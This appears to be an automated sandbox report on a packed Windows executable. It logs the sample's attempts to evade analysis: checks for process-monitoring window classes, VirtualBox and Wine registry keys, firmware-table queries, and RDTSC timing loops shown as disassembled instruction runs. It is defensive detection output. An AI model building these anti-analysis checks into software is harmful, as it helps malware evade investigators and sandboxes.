Source: file.exe	Static PE information: section name: pmcthdkr
Source: file.exe	Static PE information: section name: gxnrbpay
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B7C260 pushad ; ret	0_3_00B7C359

Source: file.exe	Static PE information: section name: entropy: 7.984582426040954
Source: file.exe	Static PE information: section name: pmcthdkr entropy: 7.954683084141591

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFB93C second address: FFB940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E95E second address: 117E97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a pushad 0x0000000b jmp 00007FE620F50F8Ah 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E97C second address: 117E9C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FE620D482E7h 0x00000012 jmp 00007FE620D482E3h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172990 second address: 1172994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172994 second address: 11729A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE620D482D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11729A2 second address: 11729A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11729A6 second address: 11729E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE620D482E5h 0x0000000d popad 0x0000000e pushad 0x0000000f push esi 0x00000010 jmp 00007FE620D482E9h 0x00000015 pop esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117DE7A second address: 117DE87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117DE87 second address: 117DE8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117DFCA second address: 117DFD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117DFD0 second address: 117DFE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482DDh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117DFE3 second address: 117E00A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FE620F50F8Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E00A second address: 117E017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007FE620D482D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180760 second address: 1180782 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE620F50F92h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118081D second address: 1180866 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE620D482E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007FE620D482DDh 0x00000011 pop edi 0x00000012 nop 0x00000013 mov esi, dword ptr [ebp+122D2DB6h] 0x00000019 push 00000000h 0x0000001b js 00007FE620D482DCh 0x00000021 sub dword ptr [ebp+122D357Dh], esi 0x00000027 push 7FEFA42Eh 0x0000002c push ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180866 second address: 11808B7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b xor dword ptr [esp], 7FEFA4AEh 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FE620F50F88h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push 00000003h 0x0000002e adc edx, 30447CF0h 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D30C7h], esi 0x0000003c push 00000003h 0x0000003e mov dword ptr [ebp+122D1AF1h], edi 0x00000044 push B09893D6h 0x00000049 pushad 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11808B7 second address: 11808D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE620D482E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180A69 second address: 1180ADA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE620F50F88h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 11158F5Eh 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FE620F50F88h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov dh, F0h 0x0000002d jnc 00007FE620F50F8Ch 0x00000033 lea ebx, dword ptr [ebp+12458688h] 0x00000039 mov dx, bx 0x0000003c xchg eax, ebx 0x0000003d je 00007FE620F50F96h 0x00000043 jc 00007FE620F50F90h 0x00000049 jmp 00007FE620F50F8Ah 0x0000004e push eax 0x0000004f jbe 00007FE620F50F94h 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180ADA second address: 1180ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180B5D second address: 1180BF9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE620F50F98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 001709D5h 0x00000011 jmp 00007FE620F50F97h 0x00000016 push 00000003h 0x00000018 mov ecx, edi 0x0000001a push 00000000h 0x0000001c or dword ptr [ebp+122D3826h], ebx 0x00000022 push 00000003h 0x00000024 mov edx, edi 0x00000026 call 00007FE620F50F89h 0x0000002b jne 00007FE620F50F94h 0x00000031 push eax 0x00000032 jbe 00007FE620F50F96h 0x00000038 jmp 00007FE620F50F90h 0x0000003d mov eax, dword ptr [esp+04h] 0x00000041 jno 00007FE620F50F92h 0x00000047 mov eax, dword ptr [eax] 0x00000049 push eax 0x0000004a push edx 0x0000004b push ecx 0x0000004c push eax 0x0000004d pop eax 0x0000004e pop ecx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180BF9 second address: 1180C55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007FE620D482D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jmp 00007FE620D482DAh 0x00000017 pop eax 0x00000018 mov cl, 74h 0x0000001a lea ebx, dword ptr [ebp+12458693h] 0x00000020 call 00007FE620D482E0h 0x00000025 call 00007FE620D482DCh 0x0000002a movsx edx, di 0x0000002d pop edi 0x0000002e pop esi 0x0000002f jmp 00007FE620D482DBh 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jng 00007FE620D482D8h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0B9C second address: 11A0BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jne 00007FE620F50F8Ch 0x00000011 ja 00007FE620F50F86h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FE620F50F94h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0BC9 second address: 11A0BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0BCD second address: 11A0BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE620F50F95h 0x0000000c jbe 00007FE620F50F86h 0x00000012 push eax 0x00000013 pop eax 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0BF6 second address: 11A0BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0BFC second address: 11A0C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0C00 second address: 11A0C06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A12FB second address: 11A1327 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE620F50F95h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jns 00007FE620F50F86h 0x00000015 jp 00007FE620F50F86h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1757 second address: 11A175B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A175B second address: 11A1775 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620F50F94h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1B37 second address: 11A1B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1B55 second address: 11A1B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F98h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A1B71 second address: 11A1B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A21FD second address: 11A220F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FE620F50F8Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2335 second address: 11A233B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A233B second address: 11A2340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A24B0 second address: 11A24B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A24B8 second address: 11A24BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A262D second address: 11A2631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2631 second address: 11A263B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE620F50F86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4EE8 second address: 11A4EEF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9982 second address: 11A9986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9A9F second address: 11A9AA4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9AA4 second address: 11A9AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007FE620F50F8Dh 0x0000000e pop edi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007FE620F50F88h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD0E5 second address: 11AD101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push ecx 0x00000007 jno 00007FE620D482DCh 0x0000000d pushad 0x0000000e js 00007FE620D482D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC4F2 second address: 11AC515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F90h 0x00000009 pop ecx 0x0000000a push ebx 0x0000000b jmp 00007FE620F50F8Ch 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC515 second address: 11AC51A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC51A second address: 11AC548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620F50F90h 0x00000009 jmp 00007FE620F50F94h 0x0000000e popad 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACC66 second address: 11ACC82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE620D482E1h 0x00000009 jnc 00007FE620D482D6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACC82 second address: 11ACC8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FE620F50F86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACC8D second address: 11ACCA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE620D482DBh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACCA3 second address: 11ACCA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACDDC second address: 11ACDE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FE620D482D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACF45 second address: 11ACF61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FE620F50F97h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACF61 second address: 11ACF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FE620D482D6h 0x00000009 jmp 00007FE620D482DFh 0x0000000e jl 00007FE620D482D6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACF86 second address: 11ACF8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACF8A second address: 11ACF8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACF8E second address: 11ACF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF4D5 second address: 11AF4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF4D9 second address: 11AF4E5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE620F50F86h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1351 second address: 11B1355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4BD8 second address: 11B4C31 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE620F50F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007FE620F50F86h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 jo 00007FE620F50F8Ah 0x0000001f push edi 0x00000020 push esi 0x00000021 pop esi 0x00000022 pop edi 0x00000023 pop eax 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007FE620F50F88h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000018h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e sub di, 0C54h 0x00000043 call 00007FE620F50F89h 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4C31 second address: 11B4C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4C36 second address: 11B4C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE620F50F95h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4C4F second address: 11B4C88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE620D482E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE620D482E4h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4C88 second address: 11B4C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4C8C second address: 11B4C9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4C9A second address: 11B4CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4CA1 second address: 11B4CC3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FE620D482DFh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 js 00007FE620D482DCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
